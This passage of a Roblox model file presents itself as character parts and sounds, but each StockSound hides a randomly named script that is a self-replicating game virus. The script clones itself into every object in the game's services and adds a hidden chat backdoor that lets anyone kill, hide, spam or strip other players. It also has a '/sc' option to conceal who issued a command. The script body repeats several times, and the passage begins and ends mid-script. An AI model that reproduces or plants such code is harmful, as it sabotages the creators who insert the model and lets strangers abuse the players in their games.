local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX84">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>17.619276</X>
							<Y>3.29895926</Y>
							<Z>-0.0676030517</Z>
							<R00>0.550176978</R00>
							<R01>1.14337033e-010</R01>
							<R02>-0.835048079</R02>
							<R10>1.28434832e-010</R10>
							<R11>1</R11>
							<R12>2.21542826e-010</R12>
							<R20>0.835048079</R20>
							<R21>-2.29137001e-010</R21>
							<R22>0.550176978</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX85">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">kzqk</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX86">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">s3sc3t</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX87">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>16.5189209</X>
							<Y>1.29895926</Y>
							<Z>-1.73769915</Z>
							<R00>0.550176978</R00>
							<R01>1.14337033e-010</R01>
							<R02>-0.835048079</R02>
							<R10>1.28434832e-010</R10>
							<R11>1</R11>
							<R12>2.21542826e-010</R12>
							<R20>0.835048079</R20>
							<R21>-2.29137001e-010</R21>
							<R22>0.550176978</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX88">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">s80r</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX89">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">7tn5xe</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
